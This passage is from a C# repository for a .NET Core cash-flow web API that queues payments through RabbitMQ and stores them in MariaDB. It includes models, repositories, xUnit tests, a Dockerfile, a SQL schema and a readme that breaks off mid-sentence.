</summary> public IEnumerable<SaidaFluxoCaixa> saidas { get; set; } /// <summary> /// Lista de encargos /// </summary> public IEnumerable<EncargoFluxoCaixa> encargos { get; set; } /// <summary> /// Total dos lançamentos (Entrada + Saída + Encargos) /// </summary> /// <example>R$ 1.000,00</example> public string total { get; set; } /// <summary> /// Porcentagem de crescimento ou queda comparado com o dia anterior /// Caso não haja registro para o dia anterior o crescimento é encarado como 100.00% /// </summary> /// <example>0.5%</example> public string posicao_do_dia { get; set; } public static explicit operator FluxoCaixa(CashflowDataTransferObject dto) { return new FluxoCaixa() { data = dto.Date.ToString("dd-MM-yyyy"), entradas = dto.Entries.ToList().ConvertAll(x => new EntradaFluxoCaixa() { data = dto.Date.ToString("dd-MM-yyyy"), valor = FinancialConverter.ToRealFormat(x.Value) }), saidas = dto.Outs.ToList().ConvertAll(x => new SaidaFluxoCaixa() { data = dto.Date.ToString("dd-MM-yyyy"), valor = FinancialConverter.ToRealFormat(x.Value) }), encargos = dto.Charges.ToList().ConvertAll(x => new EncargoFluxoCaixa() { data = dto.Date.ToString("dd-MM-yyyy"), valor = FinancialConverter.ToRealFormat(x.Value) }), total = FinancialConverter.ToRealFormat(dto.Total), posicao_do_dia = FinancialConverter.ToStringPercentage(dto.DayPosition) }; } } } <file_sep>/RestCashflowLibrary/Infrastructure/Connection/RabbitMq/IRabbitMqConnectionFactory.cs using RabbitMQ.Client; namespace RestCashflowLibrary.Infrastructure.Connection.RabbitMq { public interface IRabbitMqConnectionFactory { IConnection Fabricate(); } } <file_sep>/RestCashflowLibrary/Domain/Model/DataTransferObject/CashflowDataTransferObject.cs using System; using System.Collections.Generic; namespace RestCashflowLibrary.Domain.Model.DataTransferObject { public class EntryCashflow { public DateTime Date { get; set; } public decimal Value { get; set; } } public class OutCashflow { public DateTime Date { get; set; } public decimal Value { get; set; } } public class ChargeCashflow { public DateTime Date { get; set; } public decimal Value { get; set; } } [Serializable] public class CashflowDataTransferObject { public DateTime Date { get; set; } public IEnumerable<EntryCashflow> Entries { get; set; } public IEnumerable<OutCashflow> Outs { get; set; } public IEnumerable<ChargeCashflow> Charges { get; set; } public decimal Total { get; set; } public decimal DayPosition { get; set; } } } <file_sep>/RestCashflowLibrary/Domain/Service/IFinancialEntryValidateService.cs using System; using System.Threading.Tasks; using RestCashflowLibrary.Domain.Model.Entity; namespace RestCashflowLibrary.Domain.Service { public interface IFinancialEntryValidateService : IService { bool IsEntryInThePast(DateTime currentDt, DateTime now); bool IsDayAccountLimitReached(DayBalanceEntity dayBalanceEntity); } } <file_sep>/RestCashflowLibrary/Infrastructure/Connection/MySql/IMySqlBuildStructure.cs using System; using System.Threading.Tasks; namespace RestCashflowLibrary.Infrastructure.Connection.MySql { public interface IMySqlBuildStructure { Task CreateTables(); } } <file_sep>/RestCashflowLibrary/Domain/Service/IService.cs using Microsoft.Extensions.Configuration; namespace RestCashflowLibrary.Domain.Service { public interface IService { IConfiguration Configuration { get; set; } } } <file_sep>/RestCashflowWebApi/Startup.cs using System; using System.Globalization; using System.IO; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.DataProtection; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Controllers; using Microsoft.AspNetCore.Mvc.ViewComponents; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using RestCashflowLibrary; using RestCashflowLibrary.Application.Middleware; using RestCashflowLibrary.Infrastructure.Connection.MySql; using RestCashflowLibrary.Infrastructure.Consumer; using SimpleInjector; using SimpleInjector.Integration.AspNetCore.Mvc; using SimpleInjector.Lifestyles; using Swashbuckle.AspNetCore.Swagger; namespace RestCashflowWebApi { public class Startup { Container _container = new Container(); public IConfiguration Configuration { get; } public Startup(IConfiguration configuration) { Configuration = configuration; } void IntegrateSimpleInjector(IServiceCollection services) { _container.Options.DefaultScopedLifestyle = new AsyncScopedLifestyle(); services.AddSingleton<IHttpContextAccessor, HttpContextAccessor>(); services.AddSingleton<IControllerActivator>( new SimpleInjectorControllerActivator(_container)); services.AddSingleton<IViewComponentActivator>( new SimpleInjectorViewComponentActivator(_container)); services.EnableSimpleInjectorCrossWiring(_container); services.UseSimpleInjectorAspNetRequestScoping(_container); } // This method gets called by the runtime. Use this method to add services to the container. public void ConfigureServices(IServiceCollection services) { // Add service and create Policy with options services.AddCors(options => { options.AddPolicy("CorsPolicy", builder => builder.AllowAnyOrigin() .AllowAnyMethod() .AllowAnyHeader() .AllowCredentials()); }); services.AddMvc().SetCompatibilityVersion(CompatibilityVersion.Version_2_2); IntegrateSimpleInjector(services); services.AddSwaggerGen(c => { c.SwaggerDoc("v1", new Info { Version = "v1", Title = "RestCashflow API", Description = "Web API para fluxo de caixa usando RabbitMQ e MariaDB.", Contact = new Contact { Name = "<NAME>", Email = "<EMAIL>", Url = "https://github.com/leandrocurioso" } }); var webApiFilepath = Path.Combine(AppContext.BaseDirectory, "RestCashflowWebApi.xml"); c.IncludeXmlComments(webApiFilepath); }); services.AddDataProtection().SetApplicationName("RestCashflowWebApi"); } // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. public void Configure(IApplicationBuilder app, IHostingEnvironment env) { var cultureInfo = new CultureInfo("pt-BR"); cultureInfo.NumberFormat.CurrencySymbol = "R$"; CultureInfo.DefaultThreadCurrentCulture = cultureInfo; CultureInfo.DefaultThreadCurrentUICulture = cultureInfo; InitializeContainer(app); CreateDatabaseStructure(); RegisterQueueConsumer(); if (env.IsDevelopment()) { // app.UseDeveloperExceptionPage(); } else { app.UseHsts(); } app.UseCors("CorsPolicy"); // app.UseHttpsRedirection(); app.UseMiddleware<ExceptionMiddleware>(_container); app.UseSwagger(); app.UseSwaggerUI(c => { c.SwaggerEndpoint("/swagger/v1/swagger.json", "RestCashflow API"); }); app.UseMvc(); } void RegisterQueueConsumer() { var paymentConsumer = _container.GetInstance<IPaymentConsumer>(); paymentConsumer.Consume(); var receiptConsumer = _container.GetInstance<IReceiptConsumer>(); receiptConsumer.Consume(); var conciliateConsumer = _container.GetInstance<IConciliateConsumer>(); conciliateConsumer.Consume(); } void CreateDatabaseStructure() { using (AsyncScopedLifestyle.BeginScope(_container)) { var mySqlBuildStructure = _container.GetInstance<IMySqlBuildStructure>(); mySqlBuildStructure.CreateTables().GetAwaiter().GetResult(); } } void InitializeContainer(IApplicationBuilder app) { // Add application presentation components: _container.RegisterMvcControllers(app); // _container.RegisterMvcViewComponents(app); _container.RegisterInstance<IConfiguration>(Configuration); CompositionRoot.Register(_container); // Allow Simple Injector to resolve services from ASP.NET Core. _container.AutoCrossWireAspNetComponents(app); } } } <file_sep>/RestCashflowLibrary/Infrastructure/Queue/IConciliateQueue.cs using System; namespace RestCashflowLibrary.Infrastructure.Queue { public interface IConciliateQueue : IQueue { } } <file_sep>/RestCashflowLibrary/Infrastructure/Repository/FinancialEntryRepository.cs using System; using System.Data; using System.Threading.Tasks; using Microsoft.Extensions.Configuration; using RestCashflowLibrary.Domain.Model.Entity; using Dapper; using System.Collections.Generic; namespace RestCashflowLibrary.Infrastructure.Repository { public class FinancialEntryRepository : IFinancialEntryRepository { readonly IDbConnection _connection; public IConfiguration Configuration { get; set; } public FinancialEntryRepository( IDbConnection connection, IConfiguration configuration ) { _connection = connection; Configuration = configuration; } public async Task<long> Create(FinancialEntryEntity entity) { try { var sql = @"INSERT INTO financial_entry ( entry_type, description, destination_account, destination_bank, destination_cpf_cnpj, account_type, value, charge, entry_date, created_at, conciled ) VALUES ( @EntryType, @Description, @DestinationAccount, @DestinationBank, @DestinationCpfCnpj, @AccountType, @Value, @Charge, @EntryDate, @CreatedAt, @Conciled ); SELECT LAST_INSERT_ID();"; return await _connection.ExecuteScalarAsync<long>(sql, new { EntryType = entity.EntryType, Description = entity.Description, DestinationAccount = entity.DestinationAccount, DestinationBank = entity.DestinationBank, DestinationCpfCnpj = entity.DestinationCpfCnpj, AccountType = entity.AccountType, Value = entity.Value, Charge = entity.Charge, EntryDate = entity.EntryDate.ToString("yyyy-MM-dd HH:mm:ss"), CreatedAt = entity.CreatedAt.ToString("yyyy-MM-dd HH:mm:ss"), Conciled = entity.Conciled }); } catch { throw; } } public async Task<bool> Update(FinancialEntryEntity entity) { try { var sql = @"UPDATE financial_entry SET conciled = @Conciled, conciled_at = @ConciledAt WHERE id = @Id;"; var result = await _connection.ExecuteAsync(sql, new { Id = entity.Id, Conciled = entity.Conciled, ConciledAt = entity.ConciledAt.ToString("yyyy-MM-dd HH:mm:ss") }); return result == 1; } catch { throw; } } public Task<IEnumerable<FinancialEntryEntity>> ListConciledBetweenDate(DateTime startDate, DateTime endDate) { try { var sql = @"SELECT financial_entry.id, financial_entry.entry_type, financial_entry.description, financial_entry.destination_account, financial_entry.destination_bank, financial_entry.destination_cpf_cnpj, financial_entry.account_type, financial_entry.`value`, financial_entry.charge, financial_entry.created_at, financial_entry.entry_date, financial_entry.conciled, financial_entry.conciled_at FROM financial_entry WHERE financial_entry.conciled = 1 AND financial_entry.entry_date BETWEEN @StartDate AND @EndDate ORDER BY financial_entry.entry_date ASC;"; return _connection.QueryAsync<FinancialEntryEntity>(sql, new { StartDate = startDate.ToString("yyyy-MM-dd"), EndDate = endDate.ToString("yyyy-MM-dd") }); } catch { throw; } } } } <file_sep>/RestCashflowTests/FinancialEntryBusinessUnitTest.cs using System; using System.Collections.Generic; using System.Net; using System.Threading.Tasks; using Microsoft.Extensions.Configuration; using Moq; using RestCashflowLibrary.Domain.Business; using RestCashflowLibrary.Domain.Model.DataTransferObject; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowLibrary.Domain.Model.Enum; using RestCashflowLibrary.Domain.Service; using RestCashflowLibrary.Infrastructure.CustomException; using RestCashflowLibrary.Infrastructure.Queue; using RestCashflowLibrary.Infrastructure.Repository; using Xunit; namespace RestCashflowTests { public class FinancialEntryBusinessUnitTest { Mock<IPaymentQueue> _paymentQueue = new Mock<IPaymentQueue>(); Mock<IReceiptQueue> _receiptQueue = new Mock<IReceiptQueue>(); Mock<IFinancialEntryRepository> _financialEntryRepository = new Mock<IFinancialEntryRepository>(); Mock<IFinancialEntryValidateService> _financialEntryValidateService = new Mock<IFinancialEntryValidateService>(); Mock<IDayBalanceBusiness> _dayBalanceBusiness = new Mock<IDayBalanceBusiness>(); Mock<IConfiguration> _configuration = new Mock<IConfiguration>(); static FinancialEntryBusinessUnitTest() { Setup.Initialize(); } [Fact] public void AddToQueueNotDateInThePastException() { try { var now = DateTime.Now; var yesterday = now.AddDays(-1); _configuration.Setup(x => x.GetSection("Business:DayAccountLimit").Value).Returns("20000,00"); _financialEntryValidateService.Setup(x => x.IsEntryInThePast(yesterday, now)).Returns(true); var financialEntryBusiness = new FinancialEntryBusiness(_paymentQueue.Object, _receiptQueue.Object, _financialEntryRepository.Object, _financialEntryValidateService.Object, _dayBalanceBusiness.Object, _configuration.Object); financialEntryBusiness.AddToQueue(new FinancialEntryEntity()).GetAwaiter().GetResult(); } catch (ApiException ex) { Assert.Equal(HttpStatusCode.BadRequest, ex.HttpStatusCode); } } [Fact] public void AddToQueueDayAccountLimitException() { try { var financialEntryEntity = new FinancialEntryEntity() { EntryType = FinancialEntryTypeEnum.Payment }; var now = DateTime.Now; var tomorrow = now.AddDays(1); _configuration.Setup(x => x.GetSection("Business:DayAccountLimit").Value).Returns("20000,00"); _financialEntryValidateService.Setup(x => x.IsEntryInThePast(tomorrow, now)).Returns(false); var financialEntryBusiness = new FinancialEntryBusiness(_paymentQueue.Object, _receiptQueue.Object, _financialEntryRepository.Object, _financialEntryValidateService.Object, _dayBalanceBusiness.Object, _configuration.Object); financialEntryBusiness.AddToQueue(financialEntryEntity).GetAwaiter().GetResult(); } catch (ApiException ex) { Assert.Equal(HttpStatusCode.UnprocessableEntity, ex.HttpStatusCode); } } [Theory] [InlineData(100, 100, 0)] [InlineData(20, 40, 100)] [InlineData(40, 20, -50)] public void CalculateDayPositionPercentage(decimal yesterdayTootal, decimal currentDayTotal, decimal expectedResult) { var financialEntryBusiness = new FinancialEntryBusiness(_paymentQueue.Object, _receiptQueue.Object, _financialEntryRepository.Object, _financialEntryValidateService.Object, _dayBalanceBusiness.Object, _configuration.Object); var result = financialEntryBusiness.CalculateDayPositionPercentage(yesterdayTootal, currentDayTotal); Assert.Equal(expectedResult, result); } } } <file_sep>/RestCashflowLibrary/Infrastructure/Queue/IQueue.cs using System.Threading.Tasks; namespace RestCashflowLibrary.Infrastructure.Queue { public interface IQueue { Task Publish(object data); } } <file_sep>/RestCashflowLibrary/Infrastructure/Consumer/PaymentConsumer.cs using System.Text; using System.Threading.Tasks; using Newtonsoft.Json; using RabbitMQ.Client; using RabbitMQ.Client.Events; using RestCashflowLibrary.Domain.Model.Entity; using SimpleInjector.Lifestyles; using SimpleInjector; using RestCashflowLibrary.Infrastructure.Queue; using RestCashflowLibrary.Domain.Business; namespace RestCashflowLibrary.Infrastructure.Consumer { public class PaymentConsumer : IPaymentConsumer { readonly Container _container; public PaymentConsumer(Container container) { _container = container; } private async Task Execute(FinancialEntryEntity entity) { try { var financialEntryBusiness = _container.GetInstance<IFinancialEntryBusiness>(); var conciliateQueue = _container.GetInstance<IConciliateQueue>(); entity.Id = await financialEntryBusiness.Create(entity); await conciliateQueue.Publish(entity); } catch { throw; } } public void Consume() { try { var channel = _container.GetInstance<IModel>(); channel.QueueDeclare(queue: "payment", durable: true, exclusive: false, autoDelete: false, arguments: null); var consumer = new EventingBasicConsumer(channel); consumer.Received += (model, ea) => { using (AsyncScopedLifestyle.BeginScope(_container)) { var json = Encoding.UTF8.GetString(ea.Body); var entity = JsonConvert.DeserializeObject<FinancialEntryEntity>(json); Execute(entity).GetAwaiter().GetResult(); } }; channel.BasicConsume(queue: "payment", exclusive: false, autoAck: true, consumer: consumer); } catch { throw; } } } } <file_sep>/RestCashflowWebApi/Controllers/FluxoCaixaController.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using RestCashflowLibrary.Domain.Business; using System.Linq; using RestCashflowWebApi.Model; namespace RestCashflowWebApi.Controllers { [ApiController] [Route("api/v1/fluxo-caixa")] [Produces("application/json")] public class FluxoCaixaController : ControllerBase { readonly IFinancialEntryBusiness _financialEntryBusiness; public FluxoCaixaController(IFinancialEntryBusiness financialEntryBusiness) { _financialEntryBusiness = financialEntryBusiness; } /// <summary> /// Cria o fluxo de caixa do dia e próximos 30 dias /// </summary> /// <returns>Retorna uma lista com o fluxo de caixa do dia e dos próximos 30 dias</returns> /// <response code="200">Succeso na geração do fluxo de caixa</response> /// <response code="500">Erro interno no servidor</response> [HttpGet] [ProducesResponseType(200)] [ProducesResponseType(500)] public async Task<IEnumerable<FluxoCaixa>> Get() { try { var list = await _financialEntryBusiness.GetCashflow(DateTime.Now, 30); return list.ToList().ConvertAll(dto => (FluxoCaixa)dto); } catch { throw; } } } } <file_sep>/RestCashflowLibrary/Domain/Service/FinancialEntryValidateService.cs using System; using Microsoft.Extensions.Configuration; using RestCashflowLibrary.Domain.Model.Entity; namespace RestCashflowLibrary.Domain.Service { public class FinancialEntryValidateService : IFinancialEntryValidateService { public IConfiguration Configuration { get; set; } public FinancialEntryValidateService( IConfiguration configuration ) { Configuration = configuration; } public bool IsEntryInThePast(DateTime currentDt, DateTime now) { return currentDt.Date < now.Date; } public bool IsDayAccountLimitReached(DayBalanceEntity dayBalanceEntity) { try { var dayAccountLimit = Convert.ToDecimal(Configuration.GetSection("Business:DayAccountLimit").Value); return dayBalanceEntity.Balance > dayAccountLimit; } catch { throw; } } } } <file_sep>/RestCashflowTests/LancamentoFinanceiroUnitTest.cs using RestCashflowLibrary.Domain.Model.DataTransferObject; using Xunit; using RestCashflowLibrary.Domain.Model.Enum; using RestCashflowLibrary.Domain.Model.Entity; using RestCashflowWebApi.Model; namespace RestCashflowTests { public class LancamentoFinanceiroUnitTest { static LancamentoFinanceiroUnitTest() { Setup.Initialize(); } [Fact] public void ToFinancialEntryEntity() { var dto = new LancamentoFinanceiro { descricao = "Test description", banco_destino = BankEnum.NuBank, conta_destino = "0001", tipo_de_conta = AccountTypeEnum.Checking, cpf_cnpj_destino = "47.972.568/0001-38", tipo_da_lancamento = FinancialEntryTypeEnum.Payment, valor_do_lancamento = "R$ 1.000,05", data_de_lancamento = "05-01-2019" }; var entity = (FinancialEntryEntity)dto; Assert.Equal("Test description", entity.Description); Assert.Equal(BankEnum.NuBank, entity.DestinationBank); Assert.Equal("0001", entity.DestinationAccount); Assert.Equal(AccountTypeEnum.Checking, entity.AccountType); Assert.Equal("47.972.568/0001-38", entity.DestinationCpfCnpj); Assert.Equal(FinancialEntryTypeEnum.Payment, entity.EntryType); Assert.Equal(1000.05m, entity.Value); Assert.Equal("05-01-2019", entity.EntryDate.ToString("dd-MM-yyyy")); } } } <file_sep>/Dockerfile FROM microsoft/dotnet:2.2-sdk AS build WORKDIR /app COPY . ./ RUN dotnet restore RestCashflowWebApi/*.csproj RUN dotnet publish RestCashflowWebApi/*.csproj -c Release -o out FROM microsoft/dotnet:2.2-aspnetcore-runtime AS runtime WORKDIR /app COPY --from=build /app/RestCashflowWebApi/out ./ ENTRYPOINT ["dotnet", "RestCashflowWebApi.dll"]<file_sep>/RestCashflowLibrary/Infrastructure/Consumer/IReceiptConsumer.cs namespace RestCashflowLibrary.Infrastructure.Consumer { public interface IReceiptConsumer : IConsumer { } } <file_sep>/RestCashflowLibrary/Domain/Business/IDayBalanceBusiness.cs using System.Threading.Tasks; using RestCashflowLibrary.Domain.Model.Entity; namespace RestCashflowLibrary.Domain.Business { public interface IDayBalanceBusiness : IBusiness { Task<long> Insert(FinancialEntryEntity entity); Task<bool> Update(FinancialEntryEntity financialEntryEntity, DayBalanceEntity dayBalanceEntity); Task<DayBalanceEntity> FillDayBalance(FinancialEntryEntity entity, DayBalanceEntity dayBalanceEntity = null); decimal CalculateInterest(DayBalanceEntity entity); decimal CalculateBalance(DayBalanceEntity entity); } } <file_sep>/RestCashflowLibrary/Infrastructure/Repository/DayBalanceRepository.cs using System; using System.Data; using System.Threading.Tasks; using Microsoft.Extensions.Configuration; using RestCashflowLibrary.Domain.Model.Entity; using Dapper; using System.Linq; namespace RestCashflowLibrary.Infrastructure.Repository { public class DayBalanceRepository : IDayBalanceRepository { readonly IDbConnection _connection; public IConfiguration Configuration { get; set; } public DayBalanceRepository( IDbConnection connection, IConfiguration configuration ) { _connection = connection; Configuration = configuration; } public async Task<bool> Update(DayBalanceEntity entity) { try { var sql = @"UPDATE day_balance SET total_entry = @TotalEntry, total_out = @TotalOut, interest = @Interest WHERE date = @Date;"; var result = await _connection.ExecuteAsync(sql, new { TotalEntry = entity.TotalEntry, TotalOut = entity.TotalOut, Interest = entity.Interest, Date = entity.Date.ToString("yyyy-MM-dd") }); return result == 1; } catch { throw; } } public async Task<long> Insert(DayBalanceEntity entity) { try { var sql = @"INSERT INTO day_balance ( date, total_entry, total_out, interest ) VALUES ( @Date, @TotalEntry, @TotalOut, @Interest ); SELECT LAST_INSERT_ID();"; return await _connection.ExecuteScalarAsync<long>(sql, new { TotalEntry = entity.TotalEntry, TotalOut = entity.TotalOut, Interest = entity.Interest, Date = entity.Date.ToString("yyyy-MM-dd") }); } catch { throw; } } public async Task<DayBalanceEntity> GetByDate(DateTime dt) { try { var sql = @"SELECT day_balance.id, day_balance.date, day_balance.total_entry, day_balance.total_out, day_balance.interest FROM day_balance WHERE day_balance.date = @Date;"; var result = await _connection.QueryAsync<DayBalanceEntity>(sql, new { Date = dt.ToString("yyyy-MM-dd") }); return result.FirstOrDefault(); } catch { throw; } } } } <file_sep>/RestCashflowLibrary/CompositionRoot.cs using System.Data; using RabbitMQ.Client; using RestCashflowLibrary.Domain.Business; using RestCashflowLibrary.Domain.Service; using RestCashflowLibrary.Infrastructure.Connection; using RestCashflowLibrary.Infrastructure.Connection.MySql; using RestCashflowLibrary.Infrastructure.Connection.RabbitMq; using RestCashflowLibrary.Infrastructure.Consumer; using RestCashflowLibrary.Infrastructure.Queue; using RestCashflowLibrary.Infrastructure.Repository; using SimpleInjector; namespace RestCashflowLibrary { public static class CompositionRoot { public static void Register(Container container) { try { RegisterFactory(container); RegisterGeneral(container); RegisterRepository(container); RegisterBusiness(container); RegisterService(container); RegisterQueue(container); RegisterConsumer(container); } catch { throw; } } static void RegisterFactory(Container container) { try { container.Register<ISqlConnectionFactory, MySqlConnectionFactory>(Lifestyle.Singleton); container.Register<IRabbitMqConnectionFactory, RabbitMqConnectionFactory>(Lifestyle.Singleton); } catch { throw; } } static void RegisterGeneral(Container container) { try { container.Register<IDbConnection>(() => container.GetInstance<ISqlConnectionFactory>().Fabricate(), Lifestyle.Scoped); container.Register<IMySqlBuildStructure, MySqlBuildStructure>(Lifestyle.Scoped); container.Register<IConnection>(() => container.GetInstance<IRabbitMqConnectionFactory>().Fabricate(), Lifestyle.Singleton); container.Register<IModel>(() => container.GetInstance<IConnection>().CreateModel(), Lifestyle.Singleton); } catch { throw; } } static void RegisterRepository(Container container) { try { container.Register<IFinancialEntryRepository, FinancialEntryRepository>(Lifestyle.Scoped); container.Register<IDayBalanceRepository, DayBalanceRepository>(Lifestyle.Scoped); } catch { throw; } } static void RegisterBusiness(Container container) { try { container.Register<IFinancialEntryBusiness, FinancialEntryBusiness>(Lifestyle.Scoped); container.Register<IDayBalanceBusiness, DayBalanceBusiness>(Lifestyle.Scoped); } catch { throw; } } static void RegisterService(Container container) { try { container.Register<IFinancialEntryValidateService, FinancialEntryValidateService>(Lifestyle.Scoped); } catch { throw; } } static void RegisterQueue(Container container) { try { container.Register<IPaymentQueue, PaymentQueue>(Lifestyle.Singleton); container.Register<IReceiptQueue, ReceiptQueue>(Lifestyle.Singleton); container.Register<IConciliateQueue, ConciliateQueue>(Lifestyle.Singleton); } catch { throw; } } static void RegisterConsumer(Container container) { try { container.Register<IPaymentConsumer, PaymentConsumer>(Lifestyle.Singleton); container.Register<IReceiptConsumer, ReceiptConsumer>(Lifestyle.Singleton); container.Register<IConciliateConsumer, ConciliateConsumer>(Lifestyle.Singleton); } catch { throw; } } } } <file_sep>/RestCashflowLibrary/Infrastructure/Connection/RabbitMq/RabbitMqConnectionFactory.cs using System; using Microsoft.Extensions.Configuration; using RabbitMQ.Client; namespace RestCashflowLibrary.Infrastructure.Connection.RabbitMq { public class RabbitMqConnectionFactory : IRabbitMqConnectionFactory { readonly IConfiguration _configuration; public RabbitMqConnectionFactory(IConfiguration configuration) { _configuration = configuration; } public IConnection Fabricate() { try { var connectionString = _configuration.GetConnectionString("RabbitMqDefault"); var factory = new ConnectionFactory() { Uri = new Uri(connectionString) }; return factory.CreateConnection(); } catch { throw; } } } } <file_sep>/RestCashflowLibrary/Infrastructure/Queue/IReceiptQueue.cs namespace RestCashflowLibrary.Infrastructure.Queue { public interface IReceiptQueue : IQueue { } } <file_sep>/RestCashflowLibrary/Domain/Model/Entity/FinancialEntryEntity.cs using System; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using RestCashflowLibrary.Domain.Model.Enum; using RestCashflowLibrary.Infrastructure.DataAnnotation; namespace RestCashflowLibrary.Domain.Model.Entity { [Table("financial_entry")] public class FinancialEntryEntity { [Key] [Column("id")] public long Id { get; set; } [Required] [Column("entry_type")] public FinancialEntryTypeEnum EntryType { get; set; } [Required] [Column("description")] public string Description { get; set; } [Required] [Column("destination_account")] public string DestinationAccount { get; set; } [Required] [Column("destination_bank")] public BankEnum DestinationBank { get; set; } [Required] [CpfOrCnpj(WithMask = false)] [Column("destination_cpf_cnpj")] public string DestinationCpfCnpj { get; set; } [Required] [Column("account_type")] public AccountTypeEnum AccountType { get; set; } [Required] [Column("value")] [DataType(DataType.Currency)] public decimal Value { get; set; } [Required] [Column("charge")] [DataType(DataType.Currency)] public decimal Charge { get; set; } [Required] [Column("entry_date")] public DateTime EntryDate { get; set; } [Required] [Column("created_at")] public DateTime CreatedAt = DateTime.Now; [Required] [Column("conciled")] public bool Conciled = false; [Column("conciled_at")] public DateTime ConciledAt { get; set; } } }<file_sep>/RestCashflowLibrary/Domain/Model/Entity/DayBalanceEntity.cs using System; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; namespace RestCashflowLibrary.Domain.Model.Entity { [Table("day_balance")] public class DayBalanceEntity { [Key] [Column("id")] public long Id { get; set; } [Column("date")] public DateTime Date { get; set; } [Required] [Column("total_entry")] [DataType(DataType.Currency)] public decimal TotalEntry { get; set; } [Required] [Column("total_out")] [DataType(DataType.Currency)] public decimal TotalOut { get; set; } [Required] [Column("interest")] [DataType(DataType.Currency)] public decimal Interest { get; set; } public virtual decimal Balance { get; set; } } } <file_sep>/RestCashflowLibrary/Infrastructure/Consumer/IConsumer.cs namespace RestCashflowLibrary.Infrastructure.Consumer { public interface IConsumer { void Consume(); } } <file_sep>/db_cashflow.sql SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for `day_balance` -- ---------------------------- DROP TABLE IF EXISTS `day_balance`; CREATE TABLE `day_balance` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `date` date NOT NULL, `total_entry` decimal(11,4) NOT NULL, `total_out` decimal(11,4) NOT NULL, `interest` decimal(11,4) NOT NULL, PRIMARY KEY (`id`,`date`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- ---------------------------- -- Table structure for `financial_entry` -- ---------------------------- DROP TABLE IF EXISTS `financial_entry`; CREATE TABLE `financial_entry` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `entry_type` int(11) NOT NULL, `description` varchar(1000) NOT NULL, `destination_account` varchar(50) NOT NULL, `destination_bank` int(11) NOT NULL, `destination_cpf_cnpj` varchar(20) NOT NULL, `account_type` int(11) NOT NULL, `value` decimal(11,4) NOT NULL, `charge` decimal(11,4) NOT NULL, `entry_date` datetime NOT NULL, `created_at` datetime NOT NULL, `conciled` int(11) NOT NULL DEFAULT 0, `conciled_at` datetime DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; SET FOREIGN_KEY_CHECKS = 1; <file_sep>/RestCashflowLibrary/Infrastructure/Connection/ISqlConnectionFactory.cs using System.Data; namespace RestCashflowLibrary.Infrastructure.Connection { public interface ISqlConnectionFactory { IDbConnection Fabricate(); } } <file_sep>/RestCashflowLibrary/Domain/Business/IBusiness.cs using Microsoft.Extensions.Configuration; namespace RestCashflowLibrary.Domain.Business { public interface IBusiness { IConfiguration Configuration { get; set; } } } <file_sep>/RestCashflowTests/FinancialConverterUnitTest.cs using RestCashflowLibrary.Infrastructure.Utility; using Xunit; namespace RestCashflowTests { public class FinancialConverterUnitTest { static FinancialConverterUnitTest() { Setup.Initialize(); } [Fact] public void ToRealFormat() { var result1 = FinancialConverter.ToRealFormat(1000); var result2 = FinancialConverter.ToRealFormat(50.25m); var result3 = FinancialConverter.ToRealFormat(200.250m); var result4 = FinancialConverter.ToRealFormat(4500.50m); Assert.Equal("R$ 1.000,00", result1); Assert.Equal("R$ 50,25", result2); Assert.Equal("R$ 200,25", result3); Assert.Equal("R$ 4.500,50", result4); } [Fact] public void FromRealToDouble() { var result1 = FinancialConverter.FromRealToDecimal("R$ 1.000,00"); var result2 = FinancialConverter.FromRealToDecimal("R$ 1.000.000,00"); var result3 = FinancialConverter.FromRealToDecimal("25,25"); var result4 = FinancialConverter.FromRealToDecimal("500,000"); Assert.Equal(1000, result1); Assert.Equal(1000000, result2); Assert.Equal(25.25m, result3); Assert.Equal(500, result4); } } } <file_sep>/RestCashflowLibrary/Domain/Model/Enum/AccountTypeEnum.cs namespace RestCashflowLibrary.Domain.Model.Enum { public enum AccountTypeEnum { Checking = 0, Saving = 1 } } <file_sep>/readme.md # RestCashflow API **Development branch status** <br/> [![Build Status](https://travis-ci.org/leandrocurioso/RestCashflow.svg?branch=development)](https://travis-ci.org/leandrocurioso/RestCashflow) <br/> **Production branch status** <br/> [![Build Status](https://travis-ci.org/leandrocurioso/RestCashflow.svg?branch=master)](https://travis-ci.org/leandrocurioso/RestCashflow) <br/> This project consists of a web api to register financial entries queuing with RabbitMQ and MariaDB for persistance. ## Run To run the whole project type in the terminal: ```` docker-compose up --build ```` Until the database is fully ready this message will keep appearing in the temrinal: *restcashflow_web_1 exited with code 139* Don`t worry! It will automatically keep retrying up until MariaDB is ready and then the web api will start successfully. ## Project Structrure Ddveloped with .NET Core 2.2 (C#) There`re three assemblies in the whole project - **RestCashflowLibrary:** The core logic, here are the validations, persistance, models and business rules devided in DDD; - **RestCashflowTests:** Unit tests with xUnit. - **RestCashflowWebApi:** The Web API interface; ## API Documentation The documentation is auto generated with XML comments provided by Swashbuckle.AspNetCore library. For more details: https://github.com/domaindrivendev/Swashbuckle.AspNetCore After the project is initialized hit the URL: **http://localhost:3000/swagger** to view the documentation of how to call the web api. ## RabbitMQ User Interface The user interface of RabbitMQ can be accessed in: **http://localhost:15672** **Username:** user **Password:** <PASSWORD> ## MariaDB Credentials **User:** root <br/> **Password:** <PASSWORD> <br/> **Database:** db_cashflow There`s a SQL dump file in the solution root called: **db_cashflow.sql** **NOTE:** Every time you initialize the project the table structure will be automatically created if do not exist. ## Configuration ````javascript { ... "ConnectionStrings": { "RabbitMqDefault": "amqp://user:bitnami@localhost:5672/", "MySqlDefault": "Server=127.0.0.1;Database=db_cashflow;Uid=root;Pwd=<PASSWORD>;Pooling=True;MinimumPoolSize=10;MaximumPoolSize=25;AllowUserVariables=true" }, "Business": { "DayAccountLimit": "20000,00", "DayInterest": "0,83" } ... } ```` ##### ConnectionStrings Required to connect to 